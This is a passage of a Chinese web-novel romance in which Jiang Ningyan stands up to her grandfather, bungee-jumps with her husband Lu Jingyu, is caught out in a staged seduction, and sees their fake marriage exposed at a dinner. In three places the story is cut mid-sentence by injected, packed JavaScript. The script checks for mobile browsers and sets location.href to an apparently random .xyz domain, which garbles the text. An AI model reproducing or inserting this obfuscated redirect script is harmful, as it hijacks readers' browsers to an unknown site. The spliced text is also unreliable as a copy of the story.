】这声拐杖敲击声跟年幼时某个场景重叠,她像是被扼住了喉咙,呼吸困难。 眼神的人和物都在震荡,像是地震了,眼睁睁看着物影重叠,身体的反应却变慢。 忽地。 手腕上一热。 宋初霖懒散又不耐烦的声音传来,“聊完了没?不是跟我挑衅说射击就没输过,我还得等你多久啊?” 江凝烟看了眼手腕,握着她手腕的是宋枝意。 宋初霖双手插兜挡在她前面,语气不大恭敬,“这位老爷爷,我性子急,手痒得受不了了。” 他此话一出,江立林边上的保镖立刻围了上来,眼睛发红盯着他。 “放肆!”江立林从来没被一个晚辈这么冲撞过,勃然大怒,“谁家的孩子敢在我面前撒野?” “我家的。”宋枝意声音掷地有声,像长廊边上那口泉,叮咚脆响,但垂直砸落。 江立林眯眼,脸色已经十分不好看了。 早就听闻宋家这姑娘不畏强权,头铁得很。圈子里曾经评价她不会来事,过刚易折,偏偏目前看来,很难撼动。 宋枝意嘲讽意味拉满,“孩子性子急,您老人家多担待担待啊,别跟个孩子一般见识。” 江立林严厉地说:“最讨厌不尊重老人的孩子,带回去好好管教。” 宋枝意:“那巧了。我也最讨厌不尊重孩子的老人,您回去好好反省。” 江凝烟不是他可以仗着长辈随便欺压的。 江立林“嘭”的一声,拐杖狠狠砸地,吹胡子瞪眼,“让你老公过来!我倒要看看他会纵容你怎么胡闹?” 宋枝意这脾气遇强则强,忍气吞声是她这辈子都学不会的,更何况,这位大清遗民还觉得老公是会“管教”老婆的呢,她火气一下子冒上来了,“您是觉得单打不够刺激,还想混合双打?” 江立林这辈子没被人这么对待过,出身就是名门望族,后来大儿子跟赵家联姻,赵家一路高升,江凝烟她姥爷赵清平虽然冥顽不灵,不肯给他半点实际好处,但给他赢得的社会地位那绝对不一般。没人会给他脸色看,今天宋枝意和宋初霖的冲撞绝对是他这几十年都没碰到过的。 “我看你们真的是反了天了!” “嘭——” 老人的怒吼声被一声车门的关门声盖过。 所有人的目光下意识地往那看去。 男人穿着剪裁得体的修身黑西装,从车上下来后,随手理了理西装,手腕上的百达翡丽世界时2523黄金壳款在阳光下散发着耀眼的光。 陆京御的眼神朝她瞥过来,目光却没落在她脸上,而是落在她手腕上。 江凝烟手腕上不知道什么时候,变成了宋初霖的手。 江凝烟:“!!!” 大概是刚才宋枝意跟江立林硬刚准备“单打”的时候,换成了宋初霖的手。 江凝烟:“!!!!!!” 江凝烟抽了抽手,宋初霖还不放! 江凝烟:“!!!!!!!!!!” 陆京御的眼神从他们手上挪开,看不出任何情绪变化。 他语气四两拨千斤地对宋枝意说:“宋总。赵检怎么也算对你有恩,即使走了,也该给人亲家三分薄面不是?” 宋枝意听了好笑,陆京御这人又斯文又嘴毒,杀人诛心啊,让一个狂妄自大的傲慢上位者窝火的事,莫过于他们给他的颜面,全是给他亲家的,而不是给他本尊。 宋枝意瞬间不气了,道:“陆总,你可真知道怎么压我。” 江凝烟看着陆京御靠近,他走近了,声音温和地说:“怎么回事啊?爷爷凶你了?” 江凝烟还没回答,江立林就接话了,表情烦躁,“别的不用多说了。我也不想过多追究。她跟你说我们江家想投资你项目的事了吧。我们江家遇到了点麻烦,客户可能要退款几百亿,没多少钱给她了。得靠你这项目赚些钱才能给她。刚好你来了,她说你在考虑,考虑得怎么样了?” 江凝烟没想到陆京御会忽然来这儿,她压根还没跟陆京御说这事。 不知道他会不会联想到最近她的反常。 陆京御若无其事地牵住了江凝烟的另一只手,十指紧扣,温柔地问江凝烟,“就这事被爷爷凶了啊?手上都是汗,跟我说说,他刚刚是有多凶?” 江立林:“……” 他不追究他还要追究的意思。 10. 奉陪 空气里一度布满火药味。 陆京御给了宋枝意台阶让她下来,不是来息事宁人的,而是这事用不着宋枝意,他会撑腰。 所有人的目光都注视着江凝烟。 陆京御也不着急,耐心地等着她说。 江凝烟打量他,他正看着她,头是微微低着的,脑袋歪着,上半身微俯,几乎跟她平视,眼神里有温柔有鼓励,没有生气的痕迹。 他看起来像是没有胡乱联想。 两人的视线近距离接触,她清晰地看见他眼睛里自己的倒影。 她这次手被他紧紧地拽着,也不知道发没发抖,声音倒是平稳,坚定地说:“我爸去世的时候就这些钱该给我,拖到现在了。我这儿是不可能退让的。” 撕破脸了也好,她也累了,懒得再维持表面和谐。 陆京御点点头,语气很温柔地说:“那就不让。” 江立林气得满脸通红,训斥道:“老是惦记着家里的财产,也不怕被人笑话!” 江凝烟冷淡地说:“丢人的是你们。京卓是我爸做起来的,别想吃绝户。” “吃绝户?”江立林又砸了一下拐杖,“没有我的支持你爸能做起来?你真的是白眼狼啊。” 他一砸拐杖,江凝烟浑身微微一个激灵,幅度很小,但是陆京御感觉到了,他蹙眉,冷着一张脸,语气有点重,“当着我的面你也吼?” “长辈管教孩子怎么了?” 陆京御眼神里像是粹着冰渣子,说:“那我会为她对江家动手。” 这话撂下,江立林顿时一口气憋了回去。 两人的视线在空气中碰撞。 江立林瞪了他一眼,怒气冲冲地走了。 - 江凝烟今天不高兴。 非常不高兴。 不喜欢软弱恐惧的自己。 她已经长大了,根本不用怕他。论谋杀,她才是行家,根本不用怕他。 但是好像有什么东西在漫长的岁月里早就浸入她的骨髓,她对所有人都可以平静,但唯独对她爷爷做不到,只要他的拐杖一砸,时间像是拽着她的灵魂回到小时候,身临其境听见那话的场景,震惊又恐惧。 她亲爷爷,想杀她。 长廊里的秋风吹过,卷起的枫叶火红似血,在她眼前晃过。 陆京御双手都捏着她的手,手忽地一用力,将她抱进了怀里。 大掌摸着她的后脑勺,不轻不重的,“他以前对你就这个态度?” 陆京御并没想到江立林对江凝烟是这种态度,他觉得赵清平的外孙女,怎么可能被人这种态度对待?但想到她爸妈去世的时候她年纪尚小,确实,什么都有可能。也有孩子在学校被老师欺负却一直不告诉父母的,也有被同学欺负却一直不告诉父母的。 江凝烟确实不想说。 告诉别人她家人恨不得她不存在这个世界上其实是件很自降身价的事。 在她的圈子里绝大多数人对她友善是因为她是谁谁谁的孩子。而不是因为她是江凝烟本人。 江凝烟本人有什么价值? 江凝烟本身就只是个作者,哪怕红了点,在权力巅峰的人看来不足挂齿。毕竟一个作者只能在文里发发疯,而身处权力巅峰的人是在真实世界里可以拿捏一个人的生死。 瞒天过海,指鹿为马,悄无声息。 江凝烟要在这个阶层稳住,守住她的地位,她的金钱,她的尊严,不能随便被人捏死。她不能随便自掉身价。 所以,她只在他怀里说:“和蔼可亲的长辈才是个别吧?” 家长都要绝对的权威。 陆京御抚了下她的后脑,“以后,没人能教育你。” 江凝烟忽地从陆京御怀里抬起头,扬起笑脸道:“我想去蹦极。” 她要去克服恐惧。 陆京御:“?” 江凝烟说:“你陪我去?” 宋枝意在边上悠悠来了句,“啊~~他恐高。” “啊?”江凝烟惊奇,“真的吗?” “真的,千真万确。顾御洲怎么激他他都不不跳。”宋枝意初中开始就跟顾御洲在一起,当然跟陆京御也熟,知道他的弱点。 终于知道陆京御的弱点了,江凝烟捧腹大笑,笑得眼泪都出来了,巴掌肉都有点疼。 宋初霖压了压鸭舌帽,说:“要人陪的话我可以跳第三次。” 陆京御眼神淡淡瞟他一眼,宋初霖抬了抬帽檐,眼神光明正大地直视陆京御,丝毫没有想当小三的羞耻之心。 陆京御蹙眉,他的视线又挪到宋枝意身上。 宋枝意举手表示:“他成年了,没有监护人。” 宋枝意主打一个一人做事一人当,别想连累姐姐,谁惹的谁负责。 宋初霖:“……” 陆京御眉梢微挑,不动如山,问江凝烟,“之前玩过吗?” “没有。所以想尝试。” “想我陪你跳?” “可以吗?”眼神期待地望着他。 陆京御没犹豫,“可以。” 江凝烟还挺体贴,说:“别勉强啊,如果恐高会头晕恶心想吐。” 陆京御正儿八经地郑重道:“你去哪我都不会让你一个人去。” 江凝烟怔住。 宋枝意和宋初霖都怔住了。 陆京御拍拍她脑袋,“走吧。你去哪我都奉陪。” 还是宋枝意先反应过来,“哇哦。京圈贵公子陆京御为爱而跳!” 宋枝意知道陆京御的恐高是挺严重的。 云岱山庄是裴清誉小公子十五岁的生日礼物,也就是十年前,那时候陆京御也刚成年,大家一起在这儿寻开心。 陆京御什么都玩得好,骑马一流,射击一流,游泳一流,唯独蹦极,那是死活不肯上去。 宋枝意兴致来了,吼了一下裴清誉,“小誉!快来看,你御哥准备去蹦极了!为爱而蹦!” 刚在篮球场上撒野的裴清誉领着小伙伴们火速前来围观,“真的啊?哥?你要蹦极?” “啊,是啊,烟烟想蹦极,他说她去哪他都奉陪。哇哇哇哇!” “哇塞!这是御哥会说出来的话?”裴清誉跟陆京御勾肩搭背,凑在陆京御耳边说,“哥你是不是得谢谢我?要不是我给你打小报告,这小子还一直在勾引嫂子呢。” 江凝烟竖起耳朵听,给她听见了。 裴清誉跟陆京御告状,“他后来还擦汗,掀衣服秀腹肌,这太过了。” 陆京御点点头,半真半假地道:“特等功。” 裴清誉高兴得唇角都飞了,“哥,你真要跳啊?小时候那事你不害怕了啊?” 江凝烟问他:“他小时候出过什么事啊?” 裴清誉兴致高昂地给她宣讲,“就是小时候被他爸妈带去坐过山车,后来那车出了点故障,挂在最高点卡着下不来,哎哟,我们看那新闻都觉得可怕,那车在半空中晃得啊,好像随时会掉下来。后来御哥就再也不玩这些了。” 江凝烟眨眨卷翘的睫毛,看了眼陆京御,陆京御这人还是非常深藏不露的,即使是恐惧的,但他神情平静,看不出来丝毫慌乱,像是坚不可摧的巨石。 她问道:“那次之后,你是觉得不安全,还是真的恐高了?” 陆京御眼神侧过来,“我现在在想一个问题。” 江凝烟:“什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆京御站在上面,鬓角的汗直接顺着下颚滑下,脖子上都是汗,手心里全是湿哒哒的,倒是还站得稳。 “不然你坐着看我跳吧。我很快。” “帮我系上。”陆京御对工作人员说。 工作人员帮他们系安全带,江凝烟问:“我们一起跳,还是一前一后?” 陆京御摘掉了眼镜,递给裴清誉,问道:“你想怎么跳?” 江凝烟说:“一起跳。” 陆京御已经系好安全带,牵着她走到边上,工作人员让他拉好扶手,后背对着外面,让江凝烟上前去抱住他。 江凝烟也是个坏透了的,这会也不管陆京御的腿部究竟还剩多少力量,也不管他是不是强撑着的,双腿缠在他腰上,整个人挂在他身上,百来斤的重量都压在陆京御身上。 “嘭”的一声巨响。 陆京御手和腿真的没力了,腿直接跪在了蹦极台边缘。 陆京御咬牙维持的体面形象,被这一跪全毁了。 膝盖骨和铁架子结结实实地碰撞,声音听着都疼。两人挂在蹦台边缘摇摇欲坠。 众人一阵惊呼,“噢——” 后背的风凛凛刮着,陆京御索性也不站起来了,单膝跪在地上,他先松开一只手,但发现刚才手拽扶手拽得太用力了,手心像是黏在了扶手上面。拿开的时候,骨节和皮肤都在疼。 他费力地松开,紧紧搂住她的后背。 他深吸了一口气,身体跪着后仰,直接往后倒去,“皮,抱紧了。” 11. 手 “啊啊啊啊啊啊——” 两人简直像是掉下去的。 江凝烟那瞬间心脏像是要蹦出喉咙口,强烈的失重感确实比见到爷爷的身体反应还要强烈。 坠下去的时候像是濒临死亡,他们紧紧相拥,她整个人都被裹在陆京御的臂膀里,真的有种一起慷慨赴死的错觉。 山间的狂风吹过他们的脸,他们像是要坠入无止尽的深渊,陆京御的两条臂膀像是焊住她的铁块一样,一动不动,很坚硬,像是再深的深渊,她也不是一个人前往。 他们在风中迎风呐喊。 江凝烟在想记住这一刻的恐惧,记住自己能克服。 而陆京御在想,从今以后,需要保护她的时候,他将不再有任何弱点。 他们的吼声从一开始的惊恐,渐渐的,随着失重感的减弱而变得热血澎湃。 呐喊声嘹亮又高亢,他们兴奋得像是凯旋而归的勇士。 两人反弹了几下被慢慢吊上去。 江凝烟又恢复了平时的笑容,脸上也出了汗,像是经历了剧烈运动,双颊绯红,大声地说:“陆京御,你还好吗?” 耳边的风很大,陆京御没听清她究竟说了些什么,摸了摸她后脑勺,声音不大不小地说:“不怕不怕了。” 这地方风太大了。耳边的风像是有只鼓风机一直在耳边扇,江凝烟根本听不清他在说什么。 两人吊到上面之后,一阵欢呼声。 “哇哦。陆总太棒了哦,这架势是为爱赴汤蹈火啊。” “从来没想过,御哥对老婆是这种调调。” “卧槽,我也想做御哥的老婆。”说话的是个男生。 “谁说不是呢,太特么有安全感了。” “上刀山下火海,都奉陪。” 耳边嘈杂,朋友们叽叽喳喳,陆京御都没有理会,帮她把安全带解了,问:“开心了吗?” 江凝烟点点头,“你有没有感觉怎么样?” 陆京御再次回到蹦极台的时候,神情自若很多,笑着说:“可以,还能陪你玩。” 江凝烟牵着他的手,“我们先回屋收拾一下。” 这会儿的他温柔得让她有种错觉,就是:此刻,他特别好上。 他好像看出来她爷爷对她不好,想安慰她。 这说不定就是机会来了。 她需要一个私人的环境,来探探他的安慰能有多深。 山庄有很多房间,其中有间就常年给陆京御留着的,就跟酒店房间差不多。 可惜,房门一关,两人之间的化学反应有点点变化。 陆京御好像刹那间身上开启了屏障,站得离她快十米远,如果不是这间房没有十米那么宽的话,他肯定能站得十米远。 这时门铃响起,裴清誉在外面掐着嗓音细声细气地说:“哥,打扰啦,我给你送衣服来了哈。” 陆京御开了条门缝,接过衣服就关上门。 江凝烟笑道:“裴小少爷亲自给你送衣服,还得是哥你,面子大。” 陆京御打了袋子,抖开了手上的衣服,说:“都说他不够聪明,我瞧着挺聪明的。知道谁人好,对我好点,我会罩他。” 江凝烟莫名觉得陆京御这话在含沙射影。 反过来读:都说她聪明,我瞧着挺不聪明的。不知道谁人好,谁会罩她,对我也不好点。 江凝烟忍俊不禁,“你要不要去洗个澡?浑身是汗。” 陆京御瞟了她一眼转身进去洗澡。 “咔嚓。” 还锁上了门。 江凝烟:“……” 好吧,一独处又搞贞洁烈男这套。 那她就要看看他究竟有没有心疼她了。 她在床头柜里找来找去,抽屉一个个抽开,都找不到想找的套。 她从包里掏出几个塑料包装什么尺寸都有。 用桌上的便笺给压住。 拧开矿泉水瓶,把水抹在眼睛上。 陆京御快速冲了澡后出来,看见江凝烟趴在床上,脸埋在胳膊弯里,肩膀一颤一颤地抽泣。听见他的动静,脸在枕头上微不可察地蹭了下,转头笑容灿烂地看着他,“好了啊?那么快。” 她眼珠黢黑,比往常还要黑几分,像是钢琴的烤漆面,黑亮黑亮的。鲜红艳丽的色彩从眼尖那儿一路蔓延,逐步加深,在眼尾凝聚。整双眼睛分明不含水,却是水汪汪的。 唇角翘着,下唇却收不住地发颤,使笑容摇曳得有几分模糊。 “怎么了?”陆京御擦着头发的毛巾随手丢开,抛在单人沙发上,脚步有几分小心地靠近她。 江凝烟轻轻吸了下鼻子,佯装坚强地说:“我也去洗一下。” 低头跟陆京御擦肩而过的时候,手腕被拽住,他手上一用力,就把她抱进了怀里。 他身上还带着温暖的热气,发梢的水坠落下来,从她耳侧划过,刷过她颈侧,没入敏感的胸口。 江凝烟浑身微微一颤,起了一阵战栗兴奋的鸡皮疙瘩。 她脸埋在他坚硬的肩胛骨上,唇角止不住上扬。 “你不开心的时候喜欢干什么?”陆京御问。 江凝烟伸手环住他的劲腰,心想:你说呢?你不知道我喜欢干什么? 但她发现硬撩还不如装可怜有效,这哥好像吃这套。哭了才有抱抱。 她哽咽地压抑道:“想姥爷了。” 姥爷那张严肃又不苟言笑的脸浮现在眼前。 其实没多想。 姥爷要是真爱她,她也不至于过成这样。 在意她,毕竟是血脉,但没多爱,毕竟世界是个巨大的爱丁堡。 但她永远不会告诉陆京御,不会告诉任何人。她必须是姥爷捧在手心怕化了的掌上明珠。因为他即便去了,都是她的靠山,她的资源。 陆京御沉默了两秒,再开口的时候,声音像是温泉,暖暖的,渗进人的毛孔,“没事,我在。” 江凝烟唇蹭了蹭他的胸肌,陆京御的胸膛很宽阔,胸肌薄劲又结实。 “你也讨厌我。”江凝烟哽咽控诉。 陆京御浑身一怔,语气又温柔了几分,“怎么这么想?” 她不说话,好像难以启齿,只是轻轻抽泣。 陆京御胸腔像是被什么涨得又酸又疼,深叹口气,“我刚刚白跳了吗?” 江凝烟依旧不说话,压抑地呜咽着。 陆京御低声说:“谁叫我跳我都没跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她太兴奋了,以至于脑子里有瞬间放空,没想到接下来该怎么引诱他往该发展的方向发展,也没听到她压住套/套的便笺本轻轻地坠到了地毯上,露出三个塑料包装。 但这便笺就在陆京御眼前掉落,他看见了。 便笺掉落后床头柜上的东西自然也看见了。 他蹙眉,眉心打了一会结之后,睫毛狠狠地眨了几下,浑身猛地一怔。 他进门的时候也扫了眼床头柜,便笺被挪了位置。 那下面本来没有这三个塑料包装。裴清誉刚给他留这间房间的时候也会放套,但他说过不用放,后来就没有再放。 至于现在为什么会有这个,想必就是某人的杰作。 陆京御哂笑,还真被她骗惨了。 他手抓住她的手腕,将她的手捏住,向上反扣,“够爱了吗?还要我怎么证明?来,跟我说个明白好不好啊?” 12. 暴露 江凝烟扭头一看,看见三包塑料包装,便笺掉在地上。 江凝烟:“……” 被怀疑了?暴露了? 她反咬一口,“这房间不是说给你留的吗?怎么还有套?你经常来这儿跟别的女孩子过夜吗?” 陆京御气得舌尖顶了下腮帮,他长臂够了下,把床头柜上的三包塑料袋捞过来,像纸牌一样展开在江凝烟眼前。 “001号。”他冷笑一声,“小号?埋汰谁呢?” 江凝烟:“……” 重点在这儿? “虽然……你好像对我有什么误解。”江凝烟摸摸鼻子,“但是,001号指的是壁厚,不是小号。” 空气忽然静止。 两人四目相对,江凝烟卷翘的睫毛眨了两下,眼神清澈。 陆京御:“……” 他仔细看了眼包装,好像确实指超薄。 江凝烟再补刀,“它这个就是均码。” 她小脸从下往上看他,神情狡黠,忍不住笑起来,问:“你没用过啊?” 陆京御:“……” 陆京御冷着脸不回答,随手把这三包塑料包装丢进垃圾桶里。 “哈哈哈哈哈!”江凝烟开心坏了,像一个做着公主梦的小女孩,住进了梦里的城堡,嗓音清亮地道,“我原谅你了!” 陆京御:“?” 原谅? 他怎么她了需要她原谅? 江凝烟抽出她的手,乐颠颠地走出门外,在关上房门前又探进一颗脑袋,“你这样的,难搞点,也可以原谅。” 她咧开嘴笑得明媚,伸出一只爪子,跟他再见,不过…… 挥手是五指在空中抓了两下的姿势。 吧唧吧唧。 她捂嘴爆笑离开。 陆京御:“……” 所以,从头,到尾,都是,骗他,是吧? 怎么有人皮成这样? - 江凝烟走了没多远,就碰到了宋初霖。 宋初霖站在长廊里,边上的枫树枝丫火红地摇曳在他脸上,斑驳得看不清眼神。 但江凝烟知道他在看她。 说起来,刚才陆京御分明看见宋初霖牵着她的手,但是,表现得非常大度,淡定从容,根本没有要吃醋发疯的迹象。 果然是不爱她的。 他大概是过去姥爷对他们家的情义,转嫁到她身上了。 “江凝烟。”宋初霖朝她走过来。 江凝烟站着没动。 宋初霖走近了,江凝烟才发现他眼睛红红的。 这哥,真会哭。 诗人总是感性的。 他们不一定多爱,但他们高兴了、伤心了、激动了、挫败了都可以落泪。 她就注定成不了诗人,她刚都挤不出眼泪。 “刚才,也是做给别人看的吗?”宋初霖脑海里一直是蹦极台上两人相拥着跳下去的一幕。江凝烟甚至是主动抱住陆京御的,陆京御分明恐高,肉眼可见地有恐高症状,但为了陪她也毫不犹豫地跳了,让他感觉分明是非常热烈的爱着。 他无比地希望这是错觉…… “不是。”江凝烟笑得坦荡。 宋初霖夕阳下琥珀的瞳孔清晰地一缩。 “就是想跟他跳。”江凝烟补充道,说完挪开视线,跟他挥了挥手擦肩而过。 - 山庄上有个清吧,可以眺望京城,一行人晚上在这儿吃西餐。 裴清誉这儿的货都是这位少爷全球各地空运来的,陆京御上次招待京卓的股东就特地来找裴清誉拿的酒。 季节正好,大家可以在山上露天吃饭。 露台周围亮着一圈浮在空中的灯火,用暗灰色的一盏盏透明玻璃罩着,水滴型,十分有格调。 另一边亮着霓虹,酒吧里的灯红酒绿映在陆京御的脸上,平时的威严少了几分,更加性感勾人。 他修长的手指捏着酒杯,在跟他从小到大的兄弟顾御洲聊些她的盲区。虽然盲区,不过她学习能力也挺强,听不大懂,但都记下来了,方便以后作为素材。 这儿可以边吃边看露天电影。 于是,裴清誉问大家想看什么电影。 有人说:“化雾的《将死》?我没去看过呢。” 《将死》这本小说由江凝烟亲自操刀改编成电影,悬疑惊悚感拉满,票房大爆,没看过的都挺有兴趣。 裴清誉立刻反驳,“开玩笑,化雾的片子是能边吃饭边看的?小爷我能吐出来。她的第一部片子《凛冬那夜》就把我吓得一整夜都在做噩梦,化雾真的太恐怖了,小爷我要避雷这个作者。” 那人哈哈大笑,“裴少胆子这么小?不挺刺激的吗?” 裴清誉气呼呼地喝了一口鸡尾酒压压惊,“《凛冬那夜》的那女主也忒变态了,我觉得虽然她杀的是罪犯,但她也忒疯忒狠。” 女主经常仗着自己身手好,扮猪吃老虎,残忍地反杀。最关键的是她会复制杀人犯的杀人方法,杀人犯是怎么杀人的,她必须一丝不差地反杀。没有困难给自己制造困难也要上。 有些杀人犯是虐杀女人孩子,她就用同样的手法虐杀。 真的会被吓到尿床。 他都快吓死了,而女主杀完人之后,肚子饿了,洗了个手就去吃顿火锅去了,精神状态遥遥领先。 居然还能吃得下内脏猪脑,裴清誉觉得他以后看见火锅都想吐。 “那不是架空嘛,在那个世界手刃杀人犯,同等程度以内不算犯罪。”那人说,“《将死》没那么恐怖吧?不是说只是讲了一个怀璧其罪的女孩子,知道自己的亲人想杀害她之后,机智反杀的故事。” “这作者我就避雷避雷避雷!”裴清誉怕当众吓得出丑,不愿意看。 陆京御见裴清誉小脸真的发白,斯文矜贵地给裴清誉倒了杯水。 倒完他说:“这个作者非常聪明。” 江凝烟一直在默默喝酒,听见陆京御居然有兴致点评,抬眼看他。 “《凛冬那夜》我看的是书,她对人物的心理剖析让我挺震撼的。” 其中有一个罪犯她怎么着都找不到证据,她用漂亮的心理战将罪犯的精神世界完全摧毁,罪犯痛苦到去自守,在狱中还一直自残,亲自折断了自己每根作案的手指。 但那本书确实能体现出女主对罪犯非常残暴,她嫉恶如仇,觉得就那么让那些罪犯们死太便宜他了,无论是不是会增加难度,她都必须以同样残暴的方式杀害对方。 但陆京御觉得女主这么做虽然有点争议却是真带感,女主性格里就有强烈冲突让剧情变得更加精彩,这人设非常有张力非常出彩。 正义又阴湿,刚毅又病娇,摧残恶贯满盈的罪犯的那种疯批劲确实挺带感。 “虽然疯了点,亦正亦邪,但主角有她的故事,有她合理的成长路径。” 女主角童年被自己的亲人吸血,被打着爱的旗帜哄骗,直到差点死了,才知道她赖以生存的爱护,不是她想象中的铜墙铁壁,甚至不是一砸即碎的玻璃罩,而是巨大的虚幻的泡沫。 这样的经历让她青春期差点成为反社会人格,总是给一个女警添乱,玩你追我逃的游戏。可惜那女警死了,倒是保护了她这种不良少女,凶手一直到她成年依旧逍遥法外。 她想:这世界上有没有爱无所谓,但不能没有公道。 然后,她开始谋划杀掉第一个罪犯。 “女主角的经历让人根本不忍苛责她,哪怕她确实疯狂。还是,很感动。” 江凝烟眼睛看着他,发直。 “不过。”陆京御转头问江凝烟,“化雾你认识吗?我觉得她认识你姥爷。” 江凝烟心里一咯噔,“啊?” 陆京御说:“里面有个重要角色,习惯动作跟你姥爷一模一样。” 大哥,你看我这种没营养的文不用这么仔细啊,也不用记住,浪费你的脑容量,忘掉、忘掉、忘掉! “巧合吧。我不认识诶。”江凝烟说。 陆京御:“嗯。” 江凝烟点了部片子,“小誉哥,看爱情片,爱情片,那部《烈夏》吧。” 裴清誉乐呵呵的,“不用喊我哥,我得叫你嫂子呢。” 裴清誉点了部浪漫的爱情片,大家一起愉快的吃饭。 即使江凝烟没再想让爷爷投资陆京御的新项目,顾御洲本身好像对那项目还没死心,“新项目后面准备上市吗?” 陆京御说:“不需要多少投资,不上市也没问题。” 顾御洲:“我少投点?洲芯你也有份,怎么到你这儿就不让我投了?” 陆京御跟他碰了一杯,“洲芯那会是你缺钱,我援助你,我现在不需要你援助。” 顾御洲:“……” 陆京御:“行了啊,以后兄弟归兄弟,不是一个口袋了,我也要赚钱养老婆的,别来抢我钱。” 江凝烟正看着他们说话,他眼神自然而然地看过来,眸光里跳着橙色的火焰,清俊的脸上霓虹靡丽,他把手伸了过来,在桌子底下牵着她。 江凝烟手被捏住,不光配合还主动,手指在他手背上婆娑,笑吟吟地望着他。 顾御洲啧了一声,转头跟宋枝意咬耳朵说:“老婆在就是不一样,分明前几天他看起来还像是颓废单身狗,一喝酒就更像了,今天看起来春光满面,一喝酒整个骚劲就冒出来了。” 宋枝意被逗乐了,敲了一下他的胳膊,“正常,人家新婚一个月蜜月期。” 顾御洲说:“我们也在蜜月期。” 宋枝意:“……” 有人蜜月期一年吗? 陆京御拖腔带调地说:“以前你要五十亿一百亿,我都不用你打条子,以后,事关我老婆的财富和地位,不能让了。你可别说兄弟变了,我只是有家室了,得顾忌到老婆的利益。” 江凝烟觉得神奇,陆京御居然给人家钱都不需要打条子? 这是什么人啊? 如果她要借给别人钱,那必须合同请专业的写,签名、盖章、手印一个都不能少,还得把人家一家上下的名字全签上,有抵押的也全押上!少一个环节少一个字都不行! 什么? 押上了,但想借超过一个亿? 不借、不借、不借! 天王老子来了都不借! 这哥这么大方? 天呢。 这哥居然觉得友情值五十亿一百亿! 他居然觉得友情价值百亿! 江凝烟叹为观止,看他的目光瞬间像是在看一座散发着金光的佛像。 难怪他对她列的上百条婚前协议那么抵触。 不过,现在他不肯让顾御洲投了,不可能是因为她,应该是因为顾御洲的洲芯都几万亿了,他虽然也有份但是顾御洲是大头,他现在财富地位比不上顾御洲了,所以他的项目不让他投了。只想自己发大财吧。 哈哈哈哈,这位哥的好胜心。 够有钱了,家里几千亿,自己个人都千亿了。 她觉得顾御洲当年是被迫提早成长,家里出事了,只能冒险博一下。陆京御没吃过这种苦头,稳扎稳打,逐步成长,已经特别牛了。 还挺可爱的,喜欢帮助弱小,但如果对方比他强了,那好胜心就起来了。 顾御洲:“……” 有老婆真就不一样了。他就说,陆京御向来大方。怎么他想投个资都会被他拒绝,原来是要娶老婆了。 他拍了拍他肩膀,笑道:“都是有老婆的人,理解。” 有能力的纯爷们谁不想把最好的给自己老婆? 陆京御看了一眼江凝烟,唇角微勾,笑道:“我们家烟烟,值得最好的。鲜花、掌声、财富和地位我都会给她。” 江凝烟有点懵,下午在屋里骗陆京御被拆穿,没想到还能听到这样的话,虽然可能是因为人多,他在秀恩爱,但可见他说到做到。即使被她耍了依旧记得承诺给足了她面子。 她侧身抱着陆京御,啵啵了他的侧脸,贴上他的耳朵,“随手拿我当挡箭牌,给不给点好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698972|157003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊?” 陆京御哂笑,又趁机撩他。 下午房里的事暴露了她是一点都不尴尬啊。脸皮厚得还能若无其事地逮着机会就撩。 他刚想说话…… “不是说是假结婚嘛……”一声醉醺醺的声音打断了陆京御。 抱住他的江凝烟浑身一僵。 现场十几个人的视线都射了过去。 陆京御转头望过去,宋初霖下巴搁在桌子上,脑袋在摇晃,双颊酡红,眼神迷离,看起来已经烂醉。 “不是说是假结婚嘛……”他眼泪从眼里流出来,吞进了嘴里,看起来可怜极了。 现场一片死寂。 终于有人反应过来,是宋枝意,宋枝意立刻跳起来,顾御洲跟了上去,两人一左一右架住宋初霖就走。 “他喝醉了,胡言乱语!胡言乱语!”宋枝意道歉道。 “我没胡说!他们就是假结……唔……” 宋初霖的嘴巴被捂住,身子沉得脚上像是灌了铅,根本不肯走,顾御洲只好背起他。 现场兵荒马乱,宋初霖被带走了,之后,是死一般的寂静。 山上的冷风吹过来,众人屏息闭嘴,深怕被吹呛了咳出动静。 就连玻璃罩里的火焰哔啵声都令人胆战心惊。 在场的十几个人都好像知道了什么死都不想知道的秘密。 假结婚? 御哥刚才分明秀恩爱秀得他们都快搓掉一层鸡皮疙瘩。 居然是假结婚。 江凝烟心脏扑通扑通跳动,觉得心脏像是被撕开了一道口子,血和肉像沙漏一样一滴滴往下漏。 她在心里骂了宋初霖一百遍,但她又知道宋初霖不是故意的,应该是喝醉了。 她不知道陆京御是什么反应。本来倒还好,但陆京御刚才演得特别投入地秀恩爱,忽然被打脸……简直就是人间惨剧,肯定不高兴。 更何况,独独宋初霖知道他们假结婚他会不会以为她是在养鱼。一边撩他也不肯真结婚,一边在暗示宋初霖?跟他解释他会相信吗? 所有人都看着她,山上的风吹上来她觉得脊背发凉。 陆京御说他一般不生气,生气很可怕。 在场没有任何一个人敢说话。 水滴状玻璃罩里的火焰闪烁得诡异,甚至有几分恐怖。 山上的气氛像是被一团黑云压住,狂风暴雨顷刻便下。 